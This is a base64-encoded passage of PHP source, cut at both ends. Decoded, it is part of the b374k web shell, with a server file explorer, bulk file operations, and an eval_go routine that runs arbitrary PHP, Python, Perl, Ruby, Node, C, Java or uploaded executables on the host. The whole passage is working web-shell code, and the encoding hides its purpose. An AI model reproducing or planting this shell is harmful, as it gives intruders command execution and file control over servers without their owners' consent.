aTpzIixmaWxlbXRpbWUoJGZpbGUpKS4iPC90ZD48L3RyPgoJPHRyPjx0ZD5MYXN0IGFjY2Vzc2VkPC90ZD48dGQ+Ii5AZGF0ZSgiZC1NLVkgSDppOnMiLGZpbGVhdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+Cgk8dHIgZGF0YS1wYXRoPSciLmh0bWxfc2FmZSgkZmlsZSkuIic+PHRkIGNvbHNwYW49JzInPgoJPHNwYW4gY2xhc3M9J25hdmlnYXRlIGJ1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+ZXhwbG9yZXI8L3NwYW4+Cgk8c3BhbiBjbGFzcz0nYWN0aW9uIGJ1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+YWN0aW9uPC9zcGFuPgoJPHNwYW4gY2xhc3M9J2J1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oycgb25jbGljaz1cInZpZXcoJyIuaHRtbF9zYWZlKGFkZHNsYXNoZXMoJGZpbGUpKS4iJywgJ3JhdycpO2hpZGVfYm94KCk7XCI+cmF3PC9zcGFuPgoJPHNwYW4gY2xhc3M9J2J1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oycgb25jbGljaz1cInZpZXcoJyIuaHRtbF9zYWZlKGFkZHNsYXNoZXMoJGZpbGUpKS4iJywgJ2NvZGUnKTtoaWRlX2JveCgpO1wiPmNvZGU8L3NwYW4+Cgk8c3BhbiBjbGFzcz0nYnV0dG9uJyBzdHlsZT0nd2lkdGg6MTIwcHg7JyBvbmNsaWNrPVwidmlldygnIi5odG1sX3NhZmUoYWRkc2xhc2hlcygkZmlsZSkpLiInLCAnaGV4Jyk7aGlkZV9ib3goKTtcIj5oZXg8L3NwYW4+Cgk8c3BhbiBjbGFzcz0nYnV0dG9uJyBzdHlsZT0nd2lkdGg6MTIwcHg7JyBvbmNsaWNrPVwidmlldygnIi5odG1sX3NhZmUoYWRkc2xhc2hlcygkZmlsZSkpLiInLCAnaW1hZ2UnKTtoaWRlX2JveCgpO1wiPmltYWdlPC9zcGFuPgoJPHNwYW4gY2xhc3M9J2J1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oycgb25jbGljaz1cInZpZXcoJyIuaHRtbF9zYWZlKGFkZHNsYXNoZXMoJGZpbGUpKS4iJywgJ211bHRpbWVkaWEnKTtoaWRlX2JveCgpO1wiPm11bHRpbWVkaWE8L3NwYW4+Cgk8L3RkPjwvdHI+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjxkaXYgaWQ9J3ZpZXdGaWxlY29udGVudCc+Ii4kY29udGVudC4iPC9kaXY+PC90ZD48L3RyPgoJPC90YWJsZT4iOwoKCgkJfQoJCWVsc2UgJG91dHB1dCA9ICJlcnJvciI7CgkJcmV0dXJuICRvdXRwdXQ7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF93cml0YWJsZWRpcicpKXsKCWZ1bmN0aW9uIGdldF93cml0YWJsZWRpcigpewoJCWlmKGlzX3dyaXRhYmxlKCIuIikpIHJldHVybiByZWFscGF0aCgiLiIpLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJZWxzZXsKCQkJZm9yZWFjaChhcnJheSgnVE1QJywgJ1RFTVAnLCAnVE1QRElSJykgYXMgJGspewoJCQkJaWYoIWVtcHR5KCRfRU5WWyRrXSkpewoJCQkJCWlmKGlzX3dyaXRhYmxlKCRfRU5WWyRrXSkpIHJldHVybiByZWFscGF0aCgkX0VOVlska10pLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJCQl9CgkJCX0KCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCJzeXNfZ2V0X3RlbXBfZGlyIikpewoJCQkJJGRpciA9IHN5c19nZXRfdGVtcF9kaXIoKTsKCQkJCWlmKGlzX3dyaXRhYmxlKCRkaXIpKSByZXR1cm4gcmVhbHBhdGgoJGRpcikuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkJfQoJCQllbHNlewoJCQkJaWYoIWlzX3dpbigpKXsgaWYoaXNfd3JpdGFibGUoIi90bXAiKSkgcmV0dXJuICIvdG1wLyI7IH0KCQkJfQoKCQkJJHRlbXBmaWxlID0gdGVtcG5hbShfX0ZJTEVfXywnJyk7CgkJCWlmKGZpbGVfZXhpc3RzKCR0ZW1wZmlsZSkpewoJCQkJJGRpciA9IHJlYWxwYXRoKGRpcm5hbWUoJHRlbXBmaWxlKSkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkJCXVubGluaygkdGVtcGZpbGUpOwoJCQkJcmV0dXJuICRkaXI7CgkJCX0KCQl9CgkJcmV0dXJuIGZhbHNlOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfZHJpdmVzJykpewoJZnVuY3Rpb24gZ2V0X2RyaXZlcygpewoJCSRkcml2ZXMgPSAiIjsKCQkkdiA9IGV4cGxvZGUoIlxcIiwgZ2V0X2N3ZCgpKTsKCQkkdiA9ICR2WzBdOwoJCWZvcmVhY2ggKHJhbmdlKCJBIiwgIloiKSBhcyAkbGV0dGVyKXsKCQkJaWYoQGlzX3JlYWRhYmxlKCRsZXR0ZXIuIjpcXCIpKXsKCQkJCSRkcml2ZXMgLj0gIjxhIGNsYXNzPSduYXZiYXInIGRhdGEtcGF0aD0nIi4kbGV0dGVyLiI6XFwnPlsgIjsKCQkJCWlmKCRsZXR0ZXIuIjoiICE9ICR2KSAkZHJpdmVzIC49ICRsZXR0ZXI7CgkJCQllbHNleyRkcml2ZXMgLj0gIjxzcGFuIGNsYXNzPSdkcml2ZS1sZXR0ZXInPiIuJGxldHRlci4iPC9zcGFuPiI7fQoJCQkJJGRyaXZlcyAuPSAiIF08L2E+ICI7CgkJCX0KCQl9CgkJcmV0dXJuICRkcml2ZXM7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ3Nob3dfYWxsX2ZpbGVzJykpewoJZnVuY3Rpb24gc2hvd19hbGxfZmlsZXMoJHBhdGgpewoJCWlmKCFpc19kaXIoJHBhdGgpKSByZXR1cm4gIk5vIHN1Y2ggZGlyZWN0b3J5IDogIi4kcGF0aDsKCQljaGRpcigkcGF0aCk7CgkJJG91dHB1dCA9ICIiOwoJCSRhbGxmaWxlcyA9ICRhbGxmb2xkZXJzID0gYXJyYXkoKTsKCQlpZigkcmVzID0gb3BlbmRpcigkcGF0aCkpewoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoJHJlcykpewoJCQkJaWYoKCRmaWxlIT0nLicpJiYoJGZpbGUhPSIuLiIpKXsKCQkJCQlpZihpc19kaXIoJGZpbGUpKSAkYWxsZm9sZGVyc1tdID0gJGZpbGU7CgkJCQkJZWxzZWlmKGlzX2ZpbGUoJGZpbGUpKSRhbGxmaWxlc1tdID0gJGZpbGU7CgkJCQl9CgkJCX0KCQl9CgoJCWFycmF5X3Vuc2hpZnQoJGFsbGZvbGRlcnMsICIuIik7CgkJJGN1ciA9IGdldGN3ZCgpOwoJCWNoZGlyKCIuLiIpOwoJCWlmKGdldGN3ZCgpIT0kY3VyKSBhcnJheV91bnNoaWZ0KCRhbGxmb2xkZXJzLCAiLi4iKTsKCQljaGRpcigkY3VyKTsKCgkJbmF0Y2FzZXNvcnQoJGFsbGZvbGRlcnMpOwoJCW5hdGNhc2Vzb3J0KCRhbGxmaWxlcyk7CgoJCSRjb2xzID0gYXJyYXkoKTsKCQlpZihpc193aW4oKSl7CgkJCSRjb2xzID0gYXJyYXkoCgkJCQkJInBlcm1zIj0+ImdldF9maWxlcGVybXMiLAoJCQkJCSJtb2RpZmllZCI9PiJnZXRfZmlsZW10aW1lIgoJCQkJCSk7CgkJfQoJCWVsc2V7CgkJCSRjb2xzID0gYXJyYXkoCgkJCQkJIm93bmVyIj0+ImdldF9maWxlb3duZXIiLAoJCQkJCSJwZXJtcyI9PiJnZXRfZmlsZXBlcm1zIiwKCQkJCQkibW9kaWZpZWQiPT4iZ2V0X2ZpbGVtdGltZSIKCQkJCQkpOwoJCX0KCgkJJHRvdGFsRmlsZXMgPSBjb3VudCgkYWxsZmlsZXMpOwoJCSR0b3RhbEZvbGRlcnMgPSAwOwoKCQkkb3V0cHV0IC49ICI8dGFibGUgaWQ9J3hwbFRhYmxlJyBjbGFzcz0nZGF0YVZpZXcgc29ydGFibGUnPjx0aGVhZD4iOwoJCSRvdXRwdXQgLj0gIjx0cj48dGggY2xhc3M9J2NvbC1jYm94IHNvcnR0YWJsZV9ub3NvcnQnPjxkaXYgY2xhc3M9J2NCb3hBbGwnPjwvZGl2PjwvdGg+PHRoIGNsYXNzPSdjb2wtbmFtZSc+bmFtZTwvdGg+PHRoIGNsYXNzPSdjb2wtc2l6ZSc+c2l6ZTwvdGg+IjsKCgkJZm9yZWFjaCgkY29scyBhcyAkaz0+JHYpewoJCQkkb3V0cHV0IC49ICI8dGggY2xhc3M9J2NvbC0iLiRrLiInPiIuJGsuIjwvdGg+IjsKCQl9CgkJJG91dHB1dCAuPSAiPC90cj48L3RoZWFkPjx0Ym9keT4iOwoKCQlmb3JlYWNoKCRhbGxmb2xkZXJzIGFzICRkKXsKCQkJJGNib3hFeGNlcHRpb24gPSAiIjsKCQkJaWYoKCRkPT0iLiIpfHwoJGQ9PSIuLiIpKXsKCQkJCSRhY3Rpb24gPSAiYWN0aW9uZG90IjsKCQkJCSRjYm94RXhjZXB0aW9uID0gIiBjQm94RXhjZXB0aW9uIjsKCQkJfQoJCQllbHNlewoJCQkJJGFjdGlvbiA9ICJhY3Rpb25mb2xkZXIiOwoJCQkJJHRvdGFsRm9sZGVycysrOwoJCQl9CgkJCSRvdXRwdXQgLj0gIgoJPHRyIGRhdGEtcGF0aD1cIiIuaHRtbF9zYWZlKHJlYWxwYXRoKCRkKS5ESVJFQ1RPUllfU0VQQVJBVE9SKS4iXCI+PHRkPjxkaXYgY2xhc3M9J2NCb3giLiRjYm94RXhjZXB0aW9uLiInPjwvZGl2PjwvdGQ+Cgk8dGQgc3R5bGU9J3doaXRlLXNwYWNlOm5vcm1hbDsnPjxhIGNsYXNzPSduYXZpZ2F0ZSc+WyAiLmh0bWxfc2FmZSgkZCkuIiBdPC9hPjxzcGFuIGNsYXNzPSciLiRhY3Rpb24uIiBmbG9hdFJpZ2h0Jz5hY3Rpb248L3NwYW4+PC90ZD4KCTx0ZD5ESVI8L3RkPiI7CgkJCWZvcmVhY2goJGNvbHMgYXMgJGs9PiR2KXsKCQkJCSRzb3J0YWJsZSA9ICIiOwoJCQkJaWYoJGs9PSdtb2RpZmllZCcpICRzb3J0YWJsZSA9ICIgdGl0bGU9JyIuZmlsZW10aW1lKCRkKS4iJyI7CgkJCQkkb3V0cHV0IC49ICI8dGQiLiRzb3J0YWJsZS4iPiIuJHYoJGQpLiI8L3RkPiI7CgkJCX0KCQkJJG91dHB1dCAuPSAiPC90cj4iOwoJCX0KCQlmb3JlYWNoKCRhbGxmaWxlcyBhcyAkZil7CgkJCSRvdXRwdXQgLj0gIgoJPHRyIGRhdGEtcGF0aD1cIiIuaHRtbF9zYWZlKHJlYWxwYXRoKCRmKSkuIlwiPjx0ZD48ZGl2IGNsYXNzPSdjQm94Jz48L2Rpdj48L3RkPgoJPHRkIHN0eWxlPSd3aGl0ZS1zcGFjZTpub3JtYWw7Jz48YSBjbGFzcz0ndmlldyc+Ii5odG1sX3NhZmUoJGYpLiI8L2E+PHNwYW4gY2xhc3M9J2FjdGlvbiBmbG9hdFJpZ2h0Jz5hY3Rpb248L3NwYW4+PC90ZD4KCTx0ZCB0aXRsZT0nIi5maWxlc2l6ZSgkZikuIic+Ii5nZXRfZmlsZXNpemUoJGYpLiI8L3RkPiI7CgkJCWZvcmVhY2goJGNvbHMgYXMgJGs9PiR2KXsKCQkJCSRzb3J0YWJsZSA9ICIiOwoJCQkJaWYoJGs9PSdtb2RpZmllZCcpICRzb3J0YWJsZSA9ICIgdGl0bGU9JyIuZmlsZW10aW1lKCRmKS4iJyI7CgkJCQkkb3V0cHV0IC49ICI8dGQiLiRzb3J0YWJsZS4iPiIuJHYoJGYpLiI8L3RkPiI7CgkJCX0KCQkJJG91dHB1dCAuPSAiPC90cj4iOwoJCX0KCQkkb3V0cHV0IC49ICI8L3Rib2R5Pjx0Zm9vdD4iOwoKCQkkY29sc3BhbiA9IDEgKyBjb3VudCgkY29scyk7CgkJJG91dHB1dCAuPSAiPHRyPjx0ZD48ZGl2IGNsYXNzPSdjQm94QWxsJz48L2Rpdj48L3RkPjx0ZD4KCQk8c2VsZWN0IGlkPSdtYXNzQWN0aW9uJyBjbGFzcz0nY29sU3Bhbic+CgkJPG9wdGlvbiBkaXNhYmxlZCBzZWxlY3RlZD5BY3Rpb248L29wdGlvbj4KCQk8b3B0aW9uPmN1dDwvb3B0aW9uPgoJCTxvcHRpb24+Y29weTwvb3B0aW9uPgoJCTxvcHRpb24+cGFzdGU8L29wdGlvbj4KCQk8b3B0aW9uPmRlbGV0ZTwvb3B0aW9uPgoJCTxvcHRpb24gZGlzYWJsZWQ+LS0tLS0tLS0tLS0tPC9vcHRpb24+CgkJPG9wdGlvbj5jaG1vZDwvb3B0aW9uPgoJCTxvcHRpb24+Y2hvd248L29wdGlvbj4KCQk8b3B0aW9uPnRvdWNoPC9vcHRpb24+CgkJPG9wdGlvbiBkaXNhYmxlZD4tLS0tLS0tLS0tLS08L29wdGlvbj4KCQk8b3B0aW9uPmV4dHJhY3QgKHRhcik8L29wdGlvbj4KCQk8b3B0aW9uPmV4dHJhY3QgKHRhci5neik8L29wdGlvbj4KCQk8b3B0aW9uPmV4dHJhY3QgKHppcCk8L29wdGlvbj4KCQk8b3B0aW9uIGRpc2FibGVkPi0tLS0tLS0tLS0tLTwvb3B0aW9uPgoJCTxvcHRpb24+Y29tcHJlc3MgKHRhcik8L29wdGlvbj4KCQk8b3B0aW9uPmNvbXByZXNzICh0YXIuZ3opPC9vcHRpb24+CgkJPG9wdGlvbj5jb21wcmVzcyAoemlwKTwvb3B0aW9uPgoJCTxvcHRpb24gZGlzYWJsZWQ+LS0tLS0tLS0tLS0tPC9vcHRpb24+CgkJPC9zZWxlY3Q+CgkJPC90ZD48dGQgY29sc3Bhbj0nIi4kY29sc3Bhbi4iJz48L3RkPjwvdHI+CgkJPHRyPjx0ZD48L3RkPjx0ZCBjb2xzcGFuPSciLisrJGNvbHNwYW4uIic+Ii4kdG90YWxGaWxlcy4iIGZpbGUocyksICIuJHRvdGFsRm9sZGVycy4iIEZvbGRlcihzKTxzcGFuIGNsYXNzPSd4cGxTZWxlY3RlZCc+PC9zcGFuPjwvdGQ+PC90cj4KCQkiOwoJCSRvdXRwdXQgLj0gIjwvdGZvb3Q+PC90YWJsZT4iOwoJCXJldHVybiAkb3V0cHV0OwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdldmFsX2dldF9zdXBwb3J0ZWQnKSl7CglmdW5jdGlvbiBldmFsX2dldF9zdXBwb3J0ZWQoKXsKCQkkZXZhbF9zdXBwb3J0ZWQgPSBhcnJheSgpOwoJCQoJCSRldmFsX3N1cHBvcnRlZFtdID0gInBocCI7CgoJCSRjaGVjayA9IHN0cnRvbG93ZXIoZXhlY3V0ZSgicHl0aG9uIC1oIikpOwoJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAicHl0aG9uIjsKCgkJJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJwZXJsIC1oIikpOwoJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAicGVybCI7CgoJCSRjaGVjayA9IHN0cnRvbG93ZXIoZXhlY3V0ZSgicnVieSAtaCIpKTsKCQlpZihzdHJwb3MoJGNoZWNrLCJ1c2FnZSIpIT09ZmFsc2UpICRldmFsX3N1cHBvcnRlZFtdID0gInJ1YnkiOwoKCQkkY2hlY2sgPSBzdHJ0b2xvd2VyKGV4ZWN1dGUoIm5vZGUgLWgiKSk7CgkJaWYoc3RycG9zKCRjaGVjaywidXNhZ2UiKSE9PWZhbHNlKSAkZXZhbF9zdXBwb3J0ZWRbXSA9ICJub2RlIjsKCQllbHNlewoJCQkkY2hlY2sgPSBzdHJ0b2xvd2VyKGV4ZWN1dGUoIm5vZGVqcyAtaCIpKTsKCQkJaWYoc3RycG9zKCRjaGVjaywidXNhZ2UiKSE9PWZhbHNlKSAkZXZhbF9zdXBwb3J0ZWRbXSA9ICJub2RlanMiOwoJCX0KCgkJJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJnY2MgLS1oZWxwIikpOwoJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAiZ2NjIjsKCgkJJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJqYXZhIC1oZWxwIikpOwoJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSl7CgkJCSRjaGVjayA9IHN0cnRvbG93ZXIoZXhlY3V0ZSgiamF2YWMgLWhlbHAiKSk7CgkJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAiamF2YSI7CgkJfQoKCQlyZXR1cm4gaW1wbG9kZSgiLCIsICRldmFsX3N1cHBvcnRlZCk7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2V2YWxfZ28nKSl7CglmdW5jdGlvbiBldmFsX2dvKCRldmFsVHlwZSwgJGV2YWxDb2RlLCAkZXZhbE9wdGlvbnMsICRldmFsQXJndW1lbnRzKXsKCQkkcmVzID0gIiI7CgkJJG91dHB1dCA9ICIiOwoJCWlmKCRldmFsT3B0aW9ucyE9IiIpICRldmFsT3B0aW9ucyA9ICRldmFsT3B0aW9ucy4iICI7CgkJaWYoJGV2YWxBcmd1bWVudHMhPSIiKSAkZXZhbEFyZ3VtZW50cyA9ICIgIi4kZXZhbEFyZ3VtZW50czsKCgkJaWYoJGV2YWxUeXBlPT0icGhwIil7CgkJCW9iX3N0YXJ0KCk7CgkJCWV2YWwoJGV2YWxDb2RlKTsKCQkJJHJlcyA9IG9iX2dldF9jb250ZW50cygpOwoJCQlvYl9lbmRfY2xlYW4oKTsKCQkJcmV0dXJuICRyZXM7CgkJfQoJCWVsc2VpZigoJGV2YWxUeXBlPT0icHl0aG9uIil8fCgkZXZhbFR5cGU9PSJwZXJsIil8fCgkZXZhbFR5cGU9PSJydWJ5Iil8fCgkZXZhbFR5cGU9PSJub2RlIil8fCgkZXZhbFR5cGU9PSJub2RlanMiKSl7CgkJCSR0bXBkaXIgPSBnZXRfd3JpdGFibGVkaXIoKTsKCQkJY2hkaXIoJHRtcGRpcik7CgoJCQkkcmVzIC49ICJVc2luZyBkaXIgOiAiLiR0bXBkaXI7CgkJCWlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsKCQkJCSRyZXMgLj0gIiAod3JpdGFibGUpXG4iOwoJCQkJJHVuaXEgPSBzdWJzdHIobWQ1KHRpbWUoKSksMCw4KTsKCQkJCSRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcTsKCQkJCSRwYXRoID0gJGZpbGVuYW1lOwoJCQkJJHJlcyAuPSAiVGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOwoJCQkJaWYod3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7CgkJCQkJJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJJHJlcyAuPSAiU2V0dGluZyBwZXJtaXNzaW9ucyA6IDA3NTUiOwoJCQkJCWlmKGNobW9kKCRwYXRoLCAwNzU1KSl7CgkJCQkJCSRyZXMgLj0gIiAob2spXG4iOwoJCQkJCQkkY21kID0gJGV2YWxUeXBlLiIgIi4kZXZhbE9wdGlvbnMuJHBhdGguJGV2YWxBcmd1bWVudHM7CgkJCQkJCSRyZXMgLj0gIkV4ZWN1dGUgOiAiLiRjbWQuIlxuIjsKCQkJCQkJJG91dHB1dCA9IGV4ZWN1dGUoJGNtZCk7CgkJCQkJfQoJCQkJCWVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOwoKCQkJCQkkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7CgkJCQkJaWYodW5saW5rKCRwYXRoKSkgJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQl9CgkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJfQoJCQllbHNlICRyZXMgLj0gIiAobm90IHdyaXRhYmxlKVxuIjsKCgkJCSRyZXMgLj0gIkZpbmlzaGVkLi4uIjsKCQkJcmV0dXJuICRyZXMuIntbfGIzNzRrfF19Ii4kb3V0cHV0OwoJCX0KCQllbHNlaWYoJGV2YWxUeXBlPT0iZ2NjIil7CgkJCSR0bXBkaXIgPSBnZXRfd3JpdGFibGVkaXIoKTsKCQkJY2hkaXIoJHRtcGRpcik7CgoJCQkkcmVzIC49ICJVc2luZyBkaXIgOiAiLiR0bXBkaXI7CgkJCWlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsKCQkJCSRyZXMgLj0gIiAod3JpdGFibGUpXG4iOwoJCQkJJHVuaXEgPSBzdWJzdHIobWQ1KHRpbWUoKSksMCw4KTsKCQkJCSRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcS4iLmMiOwoJCQkJJHBhdGggPSAkZmlsZW5hbWU7CgkJCQkkcmVzIC49ICJUZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7CgkJCQlpZih3cml0ZV9maWxlKCRwYXRoLCAkZXZhbENvZGUpKXsKCQkJCQkkcmVzIC49ICIgKG9rKVxuIjsKCQkJCQkkZXh0ID0gKGlzX3dpbigpKT8gIi5leGUiOiIub3V0IjsKCQkJCQkkcGF0aHJlcyA9ICRmaWxlbmFtZS4kZXh0OwoJCQkJCSRldmFsT3B0aW9ucyA9ICItbyAiLiRwYXRocmVzLiIgIi4kZXZhbE9wdGlvbnM7CgkJCQkJJGNtZCA9ICJnY2MgIi4kZXZhbE9wdGlvbnMuJHBhdGg7CgkJCQkJJHJlcyAuPSAiQ29tcGlsaW5nIDogIi4kY21kOwoJCQkJCSRyZXMgLj0gZXhlY3V0ZSgkY21kKTsKCQkJCQlpZihpc19maWxlKCRwYXRocmVzKSl7CgkJCQkJCSRyZXMgLj0gIiAob2spXG4iOwoJCQkJCQkkcmVzIC49ICJTZXR0aW5nIHBlcm1pc3Npb25zIDogMDc1NSI7CgkJCQkJCWlmKGNobW9kKCRwYXRocmVzLCAwNzU1KSl7CgkJCQkJCQkkcmVzIC49ICIgKG9rKVxuIjsKCQkJCQkJCSRjbWQgPSAkcGF0aHJlcy4kZXZhbEFyZ3VtZW50czsKCQkJCQkJCSRyZXMgLj0gIkV4ZWN1dGUgOiAiLiRjbWQuIlxuIjsKCQkJCQkJCSRvdXRwdXQgPSBleGVjdXRlKCRjbWQpOwoJCQkJCQl9CgkJCQkJCWVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOwoJCQkJCQkkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGhyZXM7CgkJCQkJCWlmKHVubGluaygkcGF0aHJlcykpICRyZXMgLj0gIiAob2spXG4iOwoJCQkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJCQl9CgkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQkJJHJlcyAuPSAiRGVsZXRpbmcgdGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOwoJCQkJCWlmKHVubGluaygkcGF0aCkpICRyZXMgLj0gIiAob2spXG4iOwoJCQkJCWVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOwoJCQkJfQoJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCX0KCQkJZWxzZSAkcmVzIC49ICIgKG5vdCB3cml0YWJsZSlcbiI7CgoJCQkkcmVzIC49ICJGaW5pc2hlZC4uLiI7CgkJCXJldHVybiAkcmVzLiJ7W3xiMzc0a3xdfSIuJG91dHB1dDsKCQl9CgkJZWxzZWlmKCRldmFsVHlwZT09ImphdmEiKXsKCQkJJHRtcGRpciA9IGdldF93cml0YWJsZWRpcigpOwoJCQljaGRpcigkdG1wZGlyKTsKCgkJCSRyZXMgLj0gIlVzaW5nIGRpciA6ICIuJHRtcGRpcjsKCQkJaWYoaXNfd3JpdGFibGUoJHRtcGRpcikpewoJCQkJJHJlcyAuPSAiICh3cml0YWJsZSlcbiI7CgoJCQkJaWYocHJlZ19tYXRjaCgiL2NsYXNzXCAoW157XSspey9pIiwkZXZhbENvZGUsICRyKSl7CgkJCQkJJGNsYXNzbmFtZSA9IHRyaW0oJHJbMV0pOwoJCQkJCSRmaWxlbmFtZSA9ICRjbGFzc25hbWU7CgkJCQl9CgkJCQllbHNlewoJCQkJCSR1bmlxID0gc3Vic3RyKG1kNSh0aW1lKCkpLDAsOCk7CgkJCQkJJGZpbGVuYW1lID0gJGV2YWxUeXBlLiR1bmlxOwoJCQkJCSRldmFsQ29kZSA9ICJjbGFzcyAiLiRmaWxlbmFtZS4iIHsgIi4kZXZhbENvZGUgLiAiIH0gIjsKCQkJCX0KCgkJCQkkcGF0aCA9ICRmaWxlbmFtZS4iLmphdmEiOwoJCQkJJHJlcyAuPSAiVGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOwoJCQkJaWYod3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7CgkJCQkJJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJJGNtZCA9ICJqYXZhYyAiLiRldmFsT3B0aW9ucy4kcGF0aDsKCQkJCQkkcmVzIC49ICJDb21waWxpbmcgOiAiLiRjbWQ7CgkJCQkJJHJlcyAuPSBleGVjdXRlKCRjbWQpOwoJCQkJCSRwYXRocmVzID0gJGZpbGVuYW1lLiIuY2xhc3MiOwoJCQkJCWlmKGlzX2ZpbGUoJHBhdGhyZXMpKXsKCQkJCQkJJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJCSRyZXMgLj0gIlNldHRpbmcgcGVybWlzc2lvbnMgOiAwNzU1IjsKCQkJCQkJaWYoY2htb2QoJHBhdGhyZXMsIDA3NTUpKXsKCQkJCQkJCSRyZXMgLj0gIiAob2spXG4iOwoJCQkJCQkJJGNtZCA9ICJqYXZhICIuJGZpbGVuYW1lLiRldmFsQXJndW1lbnRzOwoJCQkJCQkJJHJlcyAuPSAiRXhlY3V0ZSA6ICIuJGNtZC4iXG4iOwoJCQkJCQkJJG91dHB1dCA9IGV4ZWN1dGUoJGNtZCk7CgkJCQkJCX0KCQkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQkJCSRyZXMgLj0gIkRlbGV0aW5nIHRlbXBvcmFyeSBmaWxlIDogIi4kcGF0aHJlczsKCQkJCQkJaWYodW5saW5rKCRwYXRocmVzKSkgJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJCWVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOwoJCQkJCX0KCQkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJCQkkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7CgkJCQkJaWYodW5saW5rKCRwYXRoKSkgJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQl9CgkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJfQoJCQllbHNlICRyZXMgLj0gIiAobm90IHdyaXRhYmxlKVxuIjsKCgkJCSRyZXMgLj0gIkZpbmlzaGVkLi4uIjsKCQkJcmV0dXJuICRyZXMuIntbfGIzNzRrfF19Ii4kb3V0cHV0OwoJCX0KCQllbHNlaWYoJGV2YWxUeXBlPT0iZXhlY3V0YWJsZSIpewoJCQkkdG1wZGlyID0gZ2V0X3dyaXRhYmxlZGlyKCk7CgkJCWNoZGlyKCR0bXBkaXIpOwoKCQkJJHJlcyAuPSAiVXNpbmcgZGlyIDogIi4kdG1wZGlyOwoJCQlpZihpc193cml0YWJsZSgkdG1wZGlyKSl7CgkJCQkkcmVzIC49ICIgKHdyaXRhYmxlKVxuIjsKCQkJCSR1bmlxID0gc3Vic3RyKG1kNSh0aW1lKCkpLDAsOCk7CgkJCQkkZmlsZW5hbWUgPSAkZXZhbFR5cGUuJHVuaXEuIi5leGUiOwoJCQkJJHBhdGggPSAkZmlsZW5hbWU7CgkJCQkkcmVzIC49ICJUZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7CgkJCQlpZih3cml0ZV9maWxlKCRwYXRoLCAkZXZhbENvZGUpKXsKCQkJCQkkcmVzIC49ICIgKG9rKVxuIjsKCQkJCQkkY21kID0gJHBhdGguJGV2YWxBcmd1bWVudHM7CgkJCQkJJHJlcyAuPSAiRXhlY3V0ZSA6ICIuJGNtZC4iXG4iOwoJCQkJCSRvdXRwdXQgPSBleGVjdXRlKCRjbWQpOwoKCQkJCQkkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7CgkJCQkJaWYodW5saW5rKCRwYXRoKSkgJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJ